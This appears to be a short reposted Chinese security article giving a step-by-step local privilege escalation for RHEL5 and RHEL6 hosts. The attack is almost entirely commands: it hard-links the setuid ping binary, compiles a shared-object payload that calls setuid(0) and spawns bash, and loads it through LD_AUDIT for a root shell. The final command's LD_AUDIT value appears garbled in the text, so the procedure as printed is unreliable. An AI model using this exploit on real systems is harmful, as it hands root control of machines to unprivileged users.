- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
聚合网络安全,存储安全技术文章,融合安全最新讯息
说明:RHEL5—RHEL6下 都可以提权
1. ls -ld /tmp/
2. ls -l /bin/ping
3. mkdir /tmp/exploit ; ln /bin/ping /tmp/exploit/target
4. exec 3< /tmp/exploit/target ; rm -rf /tmp/exploit/ ; ls -l /proc/$$/fd/3
5. vim payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
6. gcc -w -fPIC -shared -o /tmp/exploit payload.c ; ls -l /tmp/exploit
7. LD_AUDIT=" RIGIN" exec /proc/self/fd/3
本文始发于微信公众号(飓风网络安全):普通用户提权
评论